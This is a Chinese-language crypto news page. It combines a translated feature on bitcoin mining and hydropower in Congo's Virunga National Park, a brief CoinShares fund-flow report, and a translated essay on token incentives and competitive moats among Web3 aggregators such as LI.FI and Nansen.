的崩溃和随后震动了整个加密行业的连锁反应意味着德·梅洛德的赌博听起来像是孤注一掷。但他指出，挖矿的每一天都是纯利润，所以无论比特币的价值波动有多大，只要它是正的，它就是有利可图的。 面对这些威胁，德·梅洛德认为比特币矿场仍然可以成为他们的王牌。他既不是利他主义者，也不是加密骗子，他是一个愿意冒一切风险的实用主义者。 如果公园能坚持下去，它可能会成功。 在一个 "令人困惑的地方"的 "特殊解决方案" 在刚果民主共和国的这块土地上，你首先注意到的是它的绿色，由大量降雨和肥沃的火山土壤提供的绿宝石海洋。维龙加的一侧与刚果盆地接壤，另一侧是乌干达和卢旺达。它的 3000 平方英里是非洲一半陆地动物的家园，包括世界上最后的山地大猩猩的大约三分之一。 大约 500 万人就住在公园外面；大多数人没有电，无法做饭、照明或为他们的泥土墙的房子取暖。除此之外，还有8万人生活在公园里。许多人在维龙加 1925 年创建之前就在这里定居，当时该国还处于比利时的殖民统治之下；其他人是逃离最近的暴力事件的难民。 这就是为什么公园是木炭（斯瓦希里语为 makala）和食物的重要来源，尽管耕种、捕鱼、狩猎和伐木都是非法的。公园的资源经常被剥夺：从 2001 年到 2020 年，维龙加的树木覆盖率几乎减少了 10%，德·梅洛德估计维龙加的树木和象牙每年损失 1.7 亿美元。但对当地人来说，另一种选择是无力支付当地军阀的费用，或者饿死。这些都是腐败的完美条件。 “刚果是一个难以做出道德判断的地方。” 《利奥波德国王的鬼魂》一书的作者亚当·霍克希尔德说：“刚果是一个令人困惑的地方，很难做出道德判断。”该书记录了比利时君主 19 世纪悲惨的统治。他说，刚果“幅员辽阔，人们说数百种语言，为了榨取财富而进行的殖民”使情况更加复杂。“在这种情况下，很难有一个公正和公平的社会。” 刚果的流离失所者几乎和乌克兰一样多，尽管联合国进行了数十年的维和行动，但刚果仍存在数十年的冲突。公园的大部分被盗利润都流向了武装叛乱组织，一些当地人因为缺乏更好的选择而加入了这些组织。有些是过去战争的遗迹，最著名的是 1994 年卢旺达的种族灭绝。其他人可能与伊斯兰国有关。其中规模最大的是 M23，这是一个图西族领导的武装组织，武装精良，联合国称卢旺达支持该组织。(卢旺达对此予以否认，但其经济严重依赖刚果的资源。) 因此，维龙加可能是唯一一个定期埋葬其工作人员的联合国教科文组织遗址：自 1996 年以来，有 200 多名护林员被杀害，平均每月一人。Cherubin Nolayambaje 当了 8 年的护林员，他称护林员是“世界上最危险的工作”。 维龙加有近 800 名护林员，其中包括大约 35 名女性，他们经常在公园里遇到武装叛乱分子，以及在那里非法耕种或生活的平民。附近鲁丘鲁镇的活动人士 Samson Rukira 补充说，许多当地人甚至不知道公园的边界。他说，虽然保护环境需要社区参与来解决问题，但“我们所处的地区并不安全，这意味着护林员可能无法进行对话。” 德·梅洛德对社区抱怨个人被拒绝使用公园的巨大财富表示同情。“成千上万，可能是数百万人遭受我们希望的短期成本，将这个公园变成积极的资产。如果我们在这方面失败了，那么弊大于利。但我们坚信，这个生态系统、这个公园是可以扭转的。” 他的计划取决于自 2013 年以来在马特贝、穆特旺加和卢维罗开放的三座水力发电厂;第四家正在建设中。理论上说，如果你能给家里供电，你就不需要砍树做饭了。电力支持新的就业机会和企业，如咖啡屋和奇亚籽生产。当然，还有比特币矿场。 德·梅洛德继续说：“这是我们最想纠正的误解：维龙加只有野生动物，这是关于野生动物的社区。我们的角色就是努力促成这一点。”他说，在这个世界上最麻烦的国家之一，如果没有当地的支持，就不可能实施保护。 这个解决方案出现在距离维龙加近 4000 英里、一个世界之外的卢瓦尔河谷一座雄伟的法国城堡里。2020 年 2 月，加密投资者 Sébastien Gouspillou 在中午时分来到 Château de Serrant，期待着某个炫耀者的推销。 他解释说:“在法国，租一座城堡是很常见的，它的价格和住酒店差不多。” 相反，在门口迎接他的是一位公主，她的家族自 18 世纪以来就拥有这座城堡。几分钟后，她去找 Gouspillou 的午餐约会对象：她的小弟弟 Emmanuel de Merode。 维龙加公园的园长出生在突尼斯的一个比利时贵族家庭。11 岁时，他在肯尼亚与传奇的狮子大师乔治·亚当森（George Adamson）一起度过了一段时间。后来，他接受了人类学家的培训。1993 年，他来到刚果，帮助加兰巴国家公园的护林员，并为他的博士学位研究丛林肉贸易。1999 年，他前往加蓬的 Lopé 国家公园，在那里他致力于让大猩猩适应环境，并建立生态旅游。在那里他意识到：“你必须在那里工作二三十年才能真正成功。我想去刚果东部。” 德·梅洛德 2001 年来到维龙加，当时内战正如火如荼。他很快意识到护林员工作的重要性，因为他们经常拿不到工资。他和著名的化石猎人理查德·利基（Richard Leakey，后来成为他的岳父）一起开始筹款来支持他们的工资。 2008 年，一群大猩猩被杀害，处决式谋杀的照片引起了国际社会的愤怒，之后他成为了该公园的负责人。在混乱的后果中，维龙加当时的局长被逮捕，该州官员发誓要进行彻底的变革；也许没有什么比比利时王子在前比利时殖民地担任领导职位更激进的了。 德·梅洛德立刻就出了名。上任两个月后，反政府武装袭击了位于鲁曼加波的公园总部，他越过敌阵进行谈判并保护工作人员。在重新获得控制权后，他解雇了数百名护林员，逮捕了高级军官，然后重新招募护林员并对他们进行培训。工资上涨;口粮和装备改进。士气高涨，动物数量最终反弹。 但在 2014 年 4 月，这个故事几乎结束了。德·梅洛德前往戈马是为了提供针对索科石油公司的证据，这家英国石油公司被控行贿官员。他独自开车回公园时，枪手向他的车开枪。他还击，冲进森林藏了起来。但一颗子弹击中了他的胸部，打断了五根肋骨，并穿透了一个肺。另一颗刺进了他的胃，他说：“穿过肝脏、横膈膜、肺，从背部射出。” 最后，骑着摩托车的农民开过来帮忙。当他最终到达戈马时，他不得不在缺乏共同语言的印度和刚果医生之间做翻译。由于没有x光机，医生从他的身体中间切开。 两天后，当他还在恢复时，维龙加在翠贝卡电影节上首映。这部纪录片后来被 Netflix 收购，主要讲述了公园在 M23 和 Soco 的围攻中挣扎求生的故事。该片由莱昂纳多·迪卡普里奥担任监制，并获得了奥斯卡金像奖提名。这也使德·梅洛德和他的同事成为国际英雄。 这就是 Gouspillou 在第一次会议上对德·梅洛德的看法。在 Château de Serrant，两人最后谈了四个小时。德·梅洛德陷入了困境：急于想办法利用维龙加多余的电力为公园提供资金，而这个公园正在迅速亏损。Gouspillou 渴望做一些重要的事情。 在回家的火车上，Gouspillou 说：“我谷歌了一下，发现他是个英雄，我想帮忙。我们过去通过购买电力来挖矿，效率不高。这些钱可能会流向哈萨克斯坦的寡头。在维龙加，我们看到它正在拯救公园。” Gouspillou 在从事房地产投资工作后进入加密领域，他喜欢称自己为比特币印第安纳琼斯。尽管他没有鞭子，也没有软呢帽，他更喜欢牛仔裤，而且秃顶，但他有着冒险的名声。他的公司 Big Block Green Services 以整合有争议的项目而闻名：为萨尔瓦多的“比特币城”提供咨询，并为中非共和国的另一个加密项目做准备。 在 Gouspillou 的帮助下，维龙加于 2020 年初购买了二手服务器，并开始建造比特币矿场。和水力发电厂一样，建设也很艰苦。从戈马获得集装箱和比特币矿机意味着要在叛军控制的丛林中沿着土路行驶两天。 Gouspillou 说：“意大利大使就在我们每天走的路上被杀”。当他到达卢维罗时，他在自己的平房上发现了德·梅洛德没有告诉他的弹孔。Gouspillou 打趣道：“我也没有告诉我妻子。” 大约在这个时候，公园的死亡人数急剧上升。2020 年 4 月，在维龙加历史上最严重的袭击中，12 名护林员、1 名司机和 4 名平民丧生。10 月，另一名护林员被杀，2021 年 1 月，另一名在 10 月，另一名在 11 月被杀。德·梅洛德形容这是“我们最艰难的一年”。 然而，克服这些困难，到 2020 年 9 月，Luviro 矿场开始运营。 当地的一份招聘启事聘用了 9 名刚果加密货币矿工，他们在问卷竞争中得分很高。他们中的大多数人之前都听说过比特币，但由于该地区存在诈骗行为，他们的最初印象并不总是积极的。现在他们中的许多人都有加密钱包。 27岁 的 Ernest Kyeya 说：“这是一个全新的领域”，他毕业于戈马大学电气工程专业，目前在该矿场工作。 他补充说：“我花了一点时间来适应术语，理解矿机的操作，并设法维修和维护它。但我被当作团队的一员，而不是一个简单的工人。这种责任给了我信心。” 矿工们连续工作 21 天，然后休息 5 天。Kyeya 说，我们的住所并不“高级”，但我们喜欢我们所做的。他补充道：“这和城里不一样。一切都必须计划好。但这是值得的。能在这里工作是一种荣耀，一天工作 13 个小时，有时甚至更多，因为在丛林里我们没有别的事可做。” 现在有 10 个集装箱直接由工厂的 4 米涡轮机提供动力。每个集装箱可容纳 250 至 500 台矿机。维龙加拥有三个集装箱，所有收益将用于资助各种公园服务。其他 7 个是 Gouspillou 的。他向维龙加支付电费，他挖的比特币都归他和他的投资者所有。 德·梅洛德估计，去年该矿场为公园带来了约 50 万美元的收入，当时疫情已经切断了大多数其他收入来源。 利用数字猿猴的流行，该公园与 NFT 项目 CyberKongz 合作，通过佳士得拍卖大猩猩 NFT，为公园提供了另外 120 万美元。其中一些钱被用于购买公园拥有的三个集装箱中的两个。 德·梅洛德说：“这就是我们度过新冠疫情的原因。” Gouspillou 说："当 Emmanuel 看到钱的时候，他非常惊讶。我对我们的成功很有把握”，当谈话转向加密货币的可持续性时，他说得很快。 不是每个人都这么肯定。也不是所有的刚果人都是激进发展的支持者。即使有些人确实受益，大多数人也不会得到工作。多年的战争和外国的剥削也给当地人带来了沉重的压力，他们经常在同一句话中赞美公园并诅咒它。 同时，对于国际社会来说，比特币作为救世主的想法也许从来没有这么难以兜售。 这种批评在很大程度上与开采比特币所需的大量电力有关，电力通常由化石燃料产生。欧洲中央银行的总干事最近称比特币开采是 "前所未有的污染源"。而且，连接往往是昂贵的；例如，美国七个最大的加密货币矿场使用的电力与休斯顿所有家庭的电力相同。(美国的加密货币公司在法律上不需要报告二氧化碳的排放量）。 许多社区，尤其是在发展中国家，也被国际加密货币矿工所利用，其中一些人利用当地薄弱的法规或税收优惠，吸走电力，破坏周围环境，然后消失在下一个热点。 阿姆斯特丹自由大学研究加密货币可持续性的博士候选人亚历克斯·德·弗里斯（Alex de Vries）说：“主要问题是，与成本相比，收益总是非常有限。矿商承诺过多，却未能兑现。” 他说，关键是要收回投资，就意味着要全天候运行矿机。他总结道：“没有他们，当地社区通常会更好。” 诺森比亚大学国际发展助理教授彼得·豪森（Peter Howson）与德·弗里斯一起进行了研究，他也认为刚果的清洁能源可以得到更有效的利用。他表示：“在刚果民主共和国，比特币矿工的竞争力超过了更具生产力的绿色工业发展形式。这些行业可能雇佣了战斗人员、偷猎者和非法伐木者。即使是最大的比特币公司也只雇佣少数人。这些都是非常不稳定的工作，合同没有保障。这是一个好模型吗？不。他们应该把水电用在有用的地方。” 荷兰政治生态学家 Esther Marijnen 自 2013 年以来一直在刚果工作，她也提出了类似的观点，认为 Luviro 的矿场与保护环境相违背，并质疑大猩猩保护区与加密货币有什么关系。对于维龙加正在进行的所有开发，特别是围绕水电的开发，她指出，该公园未能带来广泛的稳定或就业。 她问道：“目标是什么？这是农村电气化吗？这样公园周围的人就可以用电来改善他们与公园的关系？还是为了吸引生意？” 纽约大学刚果研究小组创始人、前联合国调查员杰森·斯特恩斯（Jason Stearns）认为德·梅罗德是朋友，他警告说民兵也可以从水力发电中受益，所以这并不一定会导致武装分子放下枪。他说：“我钦佩埃马纽埃尔的坚韧精神和敢于跳出固有思维的意愿，但这种认为自由市场将带来和平的意识形态与刚果过去 20 年的情况背道而驰。” 尽管如此，Gouspillou 坚持认为比特币挖矿“可以成为一种发展的力量”。事实上，他认为维龙加的项目是一个潜在的模式：“人们说它对环境有害，但在这里它是清洁能源。这是一个可以复制的公式。” 他补充说，由于矿场依赖河流，这里没有化石燃料，而 Luviro 缺乏客户意味着当地没有电力需求。 投资公司 MicroStrategy 的联合创始人迈克尔·塞勒（Michael Saylor）对此表示赞同，称维龙加的模式是“一个拥有大量清洁能源但无法用这些能源出口产品或提供服务的国家的理想高科技产业。”为此，德·梅洛德正在与其他州的国家公园讨论将他们的水道变成水电供应。 在魁北克经营水力矿山的 Argo 区块链公司首席执行官彼得·沃尔指出：“矿场 85%的运营成本来自电力”，这意味着即使是低功率的矿场也可以盈利。“我认为（维龙加矿场）是第一个，我还没听说有国家公园在挖矿。归根结底，你需要三样东西：动力、机器和资本。”维龙加这三个都有。 尽管如此，包括 Luviro 在内的所有加密货币矿场都需要应对货币暴跌的价格。仅比特币就从去年的高点下跌了 70% 以上。然后是 FTX 暴雷，一夜之间损失了 320 亿美元。所有这些，再加上加密货币挖矿的污染记录，可能会让维龙加等地方所依赖的关键捐助者失去兴趣。 但德·梅洛德说：“这仍然是公园的一项非常好的投资。我们不是在猜测它的价值，我们在生成价值。如果你买比特币，比特币下跌了，你就赔钱了。我们用多余的能源制造比特币，并将原本没有价值的东西货币化。这是一个很大的不同。” 他说，即使比特币跌至其价值的 1%，这 10 个集装箱仍能盈利。 德·梅洛德希望这个系统能在本质上自我维持，这也是公园建造如此多基础设施的原因之一。当我问他，如果他发生了什么事，矿场会发生什么事时，他一直微笑着。 “如果我坠机了？也没关系，数字钱包是由我们的财务团队管理的。反正我们不太可能屯比特币超过几周，因为我们需要钱来运营园区。所以，如果我出了什么事，或者我们的首席财务官把密码弄丢了，我们会狠狠地教训他一顿，但这不会让我们付出太多代价。” 德·梅洛德强调，加密货币并不是拯救维龙加的唯一办法，而是更大的生态商业模式的一部分。根据英国经济咨询公司剑桥计量经济（Cambridge Econometrics）2019 年的一份报告，到 2025 年，维龙加其他绿色投资（包括咖啡和巧克力种植）对 GDP 的年度影响可能高达 2.02 亿美元。 德·梅洛德说：“我们试图证明的是，绿色经济意味着多样性，数百个不同的行业可以长期依赖可持续能源，这是一个健康的社会。不像仅仅依赖石油。” 在卢维罗以南约 100 英里处，从马特贝水电站的塔顶，你可以看到该计划正在实施，电线蜿蜒进入鲁丘鲁镇。它不是大都市，但在很多方面都是成功的。在这个地方，这种愿景一直在发挥作用，即使这种成功是难以置信的微弱。这个地区已经成为 M23 运动所宣称的领土的中心。尽管如此，今年春天我去参观时，RUSA 肥皂厂每天生产 5000 块肥皂，设备是用维龙加支持的小额贷款购买的。业主克里斯托夫·巴沙卡笑得合不拢嘴，说如果没有水力发电，这项工作“不可能”完成。 在几分钟车程外的一家玉米工厂，埃利亚斯·哈比马纳脱下皮衣，拿起一个巨大的计算器，向我展示他节省了数千美元：水力发电让他放弃了昂贵的发电机，雇佣了 30 人。 他说：“德·梅洛德让这成为可能，现在事情容易多了。” 贝尼附近的一家公园经营的巧克力工厂为可可种植者提供了公平的价格和合法的市场。维龙加公园每月生产1万根巧克力，这一数字还将继续增长，因为维龙加已经与本·阿弗莱克的“东刚果倡议”组织合作，该组织致力于将公园生产的巧克力推向美国的商店。 根据德·梅洛德的说法，维龙加水电站的电力创造了超过 1.2 万个就业岗位；由于刚果家庭平均至少有 5 个成员，在一个绝望驱使激进主义的地方，一份工作就是一个巨大的稳定器。Gouspillou 指出，刚果加密团队的核心成员都不是民兵，但参与建设的一些临时工是民兵。 在位于鲁曼加波的公园总部，这个实验的利害关系被赤裸裸地展示出来。在被没收的木炭堆和大猩猩墓地附近，是第一位女护林员的坟墓。寡妇们在一个车间里制作毛绒玩具和步枪背带，车间里有几十颗刻有阵亡者名字的星星。一个名叫诺埃拉妈妈的女人告诉我：“我丈夫很喜欢这个地方”。父亲去世后，为了养活五口人，她做了一名临时工，直到她在这里学会了一门手艺：“它给了我价值，给了我希望。” 我在公园的最后一个早晨，炮击很早就开始了。第二天，当 M23 向军队移动时，导弹划过天空，维龙加的工作人员和数千名刚果人被卷入其中。 在我离开几天后，德·梅洛德下令疏散鲁曼加波。下一个是马特贝。当周晚些时候，一架联合国直升机在民兵控制的地区坠毁，战斗吞没了鲁丘鲁和马特贝。经历了这一切，公园的工作人员都留下来了。由于运气或神圣的魔法， M23 撤退到山上。 然而，这种喘息的时间是短暂的。 到了仲夏，战斗重新开始，随着反政府武装向戈马扫荡，一些城镇被攻陷。政府宣布了自己的石油野心，今年 8 月，美国国务卿安东尼·布林肯（Antony Blinken）宣布了一项联合调查开采区域的计划。 从那时起，一座水电站遭到炮击，通往戈马的高压线也被击中。M23 继续在鲁丘鲁进行血腥的战役，并于 10 月占领了鲁曼加波，让德·梅洛德和他的工作人员重新经历了一次占领，这让人想起了十年前吸引维龙加观众的可怕场景。 1 月初，M23 宣布从鲁曼加博撤出，但公园工作人员警告说，他们在最近几个月撤出了其他被占领的领土，但很快就回来了，叛乱分子仍然在该地区出现。而且即使 M23 真的撤退了，其他各种叛军仍然存在;就在几周前，圣诞节前后，一个名为 Mai-Mai 的组织杀死了两名护林员。 与此同时，Gouspillou 继续劝说人们相信加密货币的未来，他前往加纳参加首届非洲比特币会议，并在等待事态冷却后再返回 Luviro。 德·梅洛德还在等待，Kyeya和Mbavumoja 还在努力工作，Luviro 的挖矿平台还在不停地工作。在经历了这么多好运和坏运气之后，le directeur 被困在一个小团队里，正如他在 8 月底的一次 WhatsApp 电话中所说的那样，“让我们摆脱困境”。  ( 6 min )
    CoinShares：上周数字资产投资产品净流入1.6亿美元，为2022年7月以来的最大流入量
    PANews 3月27日消息，据CoinShares周报数据，上周数字资产投资产品净流入 1.6 亿美元，为 2022 年 7 月以来的最大流入量。在连续 6 周流出 4.08 亿美元后出现明显转机。其中比特币投资产品是主要受益者，流入了 1.28 亿美元，做空比特币的投资产品也有 3100 万美元的资金流入。以太坊上周遭遇 520 万美元的资金外流。大量山寨币出现资金流入，最引人注目的是 Solana、Polygon 和 XRP，分别流入 480 万美元、190 万美元和 120 万美元。  ( 4 min )
    代币战争打响，如何为产品构建护城河？
    原文：《Revisiting Aggregation Theory》by Joel John 编译：Block unicorn 一年前，我们曾谈及Web3时代的聚合理论。在Web2.0时代，聚合平台因为打破了分销成本而受益，将许多服务提供者汇集到一起。像亚马逊、优步或抖音这样的平台受益于数百个供应商（供应商、创作者或司机）为用户提供服务。对于用户来说，他们可以获得无尽的选择机会。对于创作者来说，使用这些平台可以获得规模化的受众。 在Web3.0中，聚合平台主要依赖于验证和信任成本的降低。如果您使用正确的合约地址，在Uniswap上交易USDC代币，不需要担心代币是假的。像Blur这样的NFT交易平台也无需花费资源验证平台上交易的每个NFT是否真实，这个网络承担了这些成本。 在Web3中，聚合平台可以通过检查链上数据来更轻松地检查资产价格或查找它们的上市位置。在过去的一年里，大多数聚合平台都专注于汇集链上数据集，并使其可供用户使用。这些数据可能涉及价格、收益、NFT或桥接资产的路径。 当时的假设是，扩张速度足够快的聚合器接口的公司将建立垄断。我特别引用了当时的Nansen、Gem和Zerion（钱包聚合器）作为例子。具有讽刺意味的是，通过回顾，我的假设是错误的，这就是我今天想写的内容。 不要误解我的意思，几个月后，Gem（NFT交易平台）被OpenSea收购了。Nansen筹集了7500万美元，Zerion在10月份筹集了1200万美元。所以，如果把它们看作投资者，我的假设是正确的。每个产品都是其自身类别的领导者，但我写这篇文章的原因是，我假定它们将拥有的相对垄断地位尚不存在。相反，它们都面临着竞争对手的崛起，这是新兴行业中的一个令人向往的特征。 那么在之后的几年里发生了什么呢？就像我在《版税战争》中所写的那样，Gem和OpenSea的相对垄断地位，因Blur在市场上的推出而受到质疑。同样，Arkham Intelligence结合了令人兴奋的用户界面、可能的代币发行和巧妙的营销策略，包括推荐奖励代币，以挑战Nansen。Zerion可能感到舒适，但Uniswap的新钱包推出可能会侵蚀他们的市场份额。 你看到一个趋势了吗?由于公司向用户提供代币，历史上没有代币且在股权支持者的支持下轻松成长的聚合器现在面临风险。随着熊市的深入，“社区所有权”的概念将变得非常重要，因为仍然停留在这里的有限数量的消费者希望最大化他们花费的每一美元。此外，通过使用平台而不是付费访问平台获得奖励也是一种新奇的体验。 因此，一方面，长期以来现金流良好的公司将看到收入下降，另一方面，他们将看到用户涌向竞争对手。这是否可持续？绝对不是可持续的，但它是一个很好的例子，以下是它是如何运作的： 公司推出一款引人注目的代币产品，尤其是如果该产品与推荐计划相结合。Arkham Intelligence为引荐用户到他们的平台上提供代币。考虑到有可能进行空投，越来越多的用户会在产品上花费时间。这是一种点，而不是错误。 这是一种令人难以置信的方式，可以对产品进行压力测试。降低产品的获客成本，以及引导网络效应。挑战在于保留用户，一旦不再提供代币奖励，用户通常会转向其他产品。因此，大多数“引诱”代币的开发者不知道他们的用户基础有多广泛。 以下是下面这位的总结，概括了当今加密货币领域普通人的哲学基础。非常深刻和意义深远，象征着自利驱动我们世界的力量。 值得一提的是，过去用户曾经放弃支持带有代币的项目，而转向现有的巨头。陷阱在于，创始人（可能）认为通过代币激励获得的用户很有粘性。在理想情况下，代币激励与产品用户之间的关系应该像下面这张图一样。 但是实际上会发生的情况是，随着代币激励的减少，最初涌入项目的用户几乎完全放弃了该项目。他们没有理由可以继续吸引用户做出贡献，这种现象在过去两年中困扰了DeFi和P2P。 那些积累了代币并持有它们的用户是新的“社区”成员，他们想知道资产价格何时能够暴涨，让他们退出。（我指出市场参与者是理性的行为者，以自我利益为驱动） 我的最初的想法是将多个产品的功能集合到一个界面中，使用区块链作为基础架构的支撑，从而形成一个长久的壕沟，但这个想法很可能是错误的。我一直在想为什么在Web3中，那些相对领先的公司会失去优势，而其他公司会取而代之。币安击败了Coinbase，而他们又面临着FTX的竞争。OpenSea受到了Blur的竞争。Sky Mavis是Axie Infinity的制造商，新的参与者如Illuvium进入市场后，他们很可能会面临压力。为什么Web3中的用户随着时间的推移离开？如何才能让用户留下来足够长的时间？ 当每个人都可以发布一个嵌入了代币的版本时，Web3中的护城河会是什么？我一直在思考这个问题，因为我们生活在一个叙事轮换的市场中。每个季度都有一个新的“热门”事物。这就是为什么我关注的风险投资家们一夜之间，从远程办公专家变成了处理台湾地缘政治紧张局势的专家。 当然，如果你是在进行资产的进出交易，这肯定是有效的（恕我直言，这就是大多数人在加密货币中的情况）。但如果你想建立一个随着时间推移而增长的资产基础（如谷歌或苹果的股权），资产频繁转换可能不是一个明智的选择。 你最终希望你花费时间、金钱或精力的东西能够在没有积极管理的情况下成长。而要做到这一点的唯一方法是，一个产品能够做到两点：首先，也是最重要的一点，留住他们已经拥有的用户；其次，积极扩张，使竞争者无法蚕食其市场份额，你是如何做到这一点的？(当一个人不得不开始考虑护城河和保留用户的时候，你就知道这是一个熊市） 竞争是为失败者准备的 能够解释这一现象的部分原因是将公司排在新奇和便利之间的光谱上。在早期，像NFT这样的原始产品是新奇的，吸引着人们不遗余力地去尝试产品。 我们已经习惯了为钱包处理种子短语/助记词和处理入口，因为使用“数字货币”的新奇性足以引起我们的兴趣。注意到用户对Ordinals（比特币序数NFT协议）很感兴趣，你会意识到用户有多么有耐心。 这些耐心的部分原因来自于早期利润因素，投机和盈利促使用户愿意经历各种坎坷。 另一端是高度方便的工具，我们每天都依赖它们。亚马逊就是一个让我们沉迷于便利的聚合器的例子。消费者可能会从不在亚马逊上的小众商店购买商品而受益，而且供应商在亚马逊上的定价可能是错误的。 但是，在做决策时，亚马逊告诉你不需要考虑付款方式、交货时间或客户支持。这种“节省”的心理投入转化为在聚合器上更高的支出（注意力或资本）。 许多卖家来到亚马逊，恰恰是因为他们了解到在该市场上的消费者行为与直接到店铺购物的消费者行为不同。 蒂姆-吴（Tim Wu）在2018年的文章中总结了人们为了方便而采取的措施： 当然，我们愿意为便利性支付溢价，甚至比我们意识到的更高。例如在20世纪90年代晚期，音乐分发技术如Napster使得在线获取音乐变得免费，许多人都利用了这个选择。但尽管现在仍然可以轻松地免费获取音乐，但没有人真正这样做了。为什么？因为2003年iTunes商店的推出使得购买音乐比非法下载更加方便，方便性胜过免费。 回到我最初提到的范围，新技术通常付钱给用户让他们试用。相比之下，高度便利的应用程序如果能满足用户对便利的渴望，则需要用户支付高昂的费用。 如今大多数面向消费者的应用所面临的挑战是，它们处于中间地带，我称之为“死亡之谷”。他们创建的产品不够创新、便利，不足以吸引用户为他们的产品付费，也不需要对这些产品过于的依赖。Skiff、Coinbase Card和Mirror（去中心化创作者平台）在这个等式的便利范围内表现出色，因为它们可以取代传统的可比产品。 但以游戏、借贷或身份认证等主题为例，你就会明白为什么这些主题还没有扩展到链上。 大多数处于中间位置的应用程序都犯了相互竞争的致命错误。首先，通过广告和招聘，推高用户获得成本和就业成本。然后，通过有毒的表情包和针对同龄人的加密叙事。正如彼得·蒂尔(Peter Thiel)所说：竞争是为失败者准备的。 当初创公司开始在小型利基市场竞争时，一般没有赢家。用他的话说，初创企业从生存斗争中过渡的唯一途径是拥有垄断性利润，但如何才能达到这个目的呢？ Web3中的公司如果想要独立于代币作为增长的杠杆，他们只有三个杠杆可以关注：成本、使用案例、分销。这种情况在过去已经发生过一些案例，所以让我单独分析一下： 1. 成本 稳定币已成为加密货币的杀手级使用案例，因为它们提供了比传统银行业务更好的体验，可在全球范围内使用。印度的UPI等创新可能对国内支付更具成本效益，但在南东亚、欧洲或非洲之间转移资金，或仅在美国银行账户之间转移余额，使用链上转账更为合理。 从用户的角度来看，产生的成本不仅仅是在转账上花费的金钱数额，还包括移动资金所需的时间和精力。借记卡为电子商务所做的事情就像稳定币为汇款所做的事情一样：它们降低了进行转账所需的成本。相比之下，大多数面向消费者的收益生成移动应用程序则不同。虽然可以以美元计算多达百分之二的收益，但是考虑到崩溃风险，其价值主张将失败。 2. 分销 如果你在一个新兴领域聚集了一些利基用户，分销便可成为一道护城河。想想看Compound和Aave如何开辟了一个全新的借贷市场。曾经很少人认为质押100美元的以太坊，借50美元会带来多大的价值。有一部分人并没有得到服务，主要因为这些富人不想在熊市中出售自己加密货币。 你会错误地认为，新兴市场中没有获得信贷额度的人会推动DeFi借贷量的增长。实际上，使用它的是那些加密货币富人，这是以前被较少服务的一群人。成为与某一利基市场相关的所有事物的 "中心"，使你能够将注意力集中在单一的功能上，Coingecko和Zerion是两个在这方面做得很好的企业。 鉴于企业促使用户尝试新特性的边际成本几乎为零，将新的收入来源直接添加到产品本身中变得具有成本效益。这就是为什么像WeChat（在东南亚）、Careem（在中东）和PayTM（在印度）这样的企业往往表现良好的原因。 当像Uniswap这样的玩家推出钱包时，他们实际上是在尝试在一个界面上聚集用户，以便以更低的成本推动更多特性（例如他们的NFT市场）。 3. 使用案例 像ENS、Tornado Cash和Skiff这样的工具已经开辟了自己独特的用户基础。这些用户依赖于该产品，这是传统替代品今天无法提供的。例如，Facebook不会将你的钱包地址与你的身份绑定在一起。你的银行不像Tornado Cash那样提供隐私保护。 这些产品的用户粘性很高，没有任何替代品可以与该产品相提并论。新用例中的先行者需要一段时间来教育用户并让他们了解实用程序的功能，但它们也有在新市场上占据大量份额的优势。 在LocalBitcoins的早期，它是唯一的点对点交易场所。这帮助它们为进入印度等新兴市场积累了流动性，并使它们在2016年之前一直保持领先地位。(RIP LocalBitcoins) 熊市很难通过专注于这些杠杆来扩大规模。我上面提到的例子已经经历了多个市场周期。Axie Infinity崛起的一部分原因是团队在2020年之前已经建设了两年。在下一个牛市到来之前，团队已经形成了建立社区、维护代币并平衡投资者利益（出售代币）与用户利益（赚取代币）所需的“实力”。 这解释了为什么从风险投资的角度来看，开发者工具和基础设施的投资很受欢迎，当市场萎靡不振时。为了应对散户投资者的不感兴趣，你要专注于企业间的事务。你要为开发者构建铲子，让他们自己来吸引散户投资者。 像Coinbase这样的知名公司认识到了这一点，这就是为什么他们在熊市发布钱包API等工具的原因。我们可以在跨链桥方面看到这种现象，我近距离的观察LI.FI，观察到团队在积极的构建聚合多链基础生态系统。 LI.FI是“Liquid Finance”的谐音，是一个多链流动性聚合器，为希望让其应用程序或为开发多链开发者提供SDK。 假设Metamask或OpenSea希望让开发者轻松地让用户在各个链之间转移资产，比如在Polygon和以太坊之间进行资产转移，LI.FI提供了一个简单的SDK，确定跨链桥和DEX之间的最佳路线来转移资金，这样开发者可以专注于他们最擅长的事情。 虽然有几个参与者从事相同的业务，但我使用LI.FI作为例子，因为他们实际上已经勾选了我之前提到的方面。（此外，Philipp最初与我分享了他如何看待聚合器八个月的发展，我一直以此为基础来撰写这篇文章），但让我们回到LI.FI的策略，他们一直在做一些勾选我之前提到的护城河。 1. 他们一开始就专注于企业，而不是散户。如果你抓住了构建可能需要跨链转移的应用程序的长尾，你就不用太担心直接吸引用户了。 2. 使用该产品的企业可以节省研究和维护的时间。在熊市中，你想尽可能多地节约资源。因此，在默认情况下，像LI.FI这样的产品的销售变得相对更直接了当。 3. 从最终用户的角度来看，一个聚合器为转让提供了最佳的成本基础。因此，人们希望使用集成了其SDK的产品。 4. 他们通常是第一个整合新的区块链--竞争稀少的前沿领域。 5. 最后，他们的目标群体主要是还留在加密行业的参与者。一般来说，在熊市的一年里，在这个行业里进行投机和交易的人，都是你不会花很多钱去教育的力量型用户。 LI.FI并不是市场上唯一的跨链聚合器，虽然它符合我之前提到的成本、人群和用例的条件，但很难看出它们如何建立自己的护城河。但是，我特别感兴趣的是它们如何从一种新奇工具发展成一种方便工具。 在最早的日子里，用户依靠跨链聚合器，是因为这个过程涉及到痛苦地等待从交易所的转账。与仅需几次点击不同，你必须通过集中平台移动资金、进行安全检查并希望资金到账。 那么当新鲜感消失时，如何生存下来呢？如果你注意到Nansen和LI.FI的运作方式，你就能看到答案，这是通过观察他们销售对象来实现的。LI.FI主要销售给开发者。昨天，Nansen推出了一个名为Query的工具，供企业和大型基金直接访问Nansen的数据。他们声称在查询数据方面，这个工具比他们最接近的竞争对手快60倍，那么为什么这两家公司都专注于开发者呢？ 这与一家公司能够同时成为新奇和便利的工具，如果它销售给强大的用户有关。例如，一个开发者决定是否与LI.FI集成 - 通常在他们的脑海中会有一个简单的计算。聚合器的成本是否比集成单个跨链桥更有效地节省时间和资本？ 同样，对于任何使用Nansen查询数据的人来说，问题是工具是否节省了足够的时间和精力来使其成本合理。如果内部完成这项工作的成本低于支付第三方（如LI.FI）的成本，决策者宁愿选择不从头开始构建。 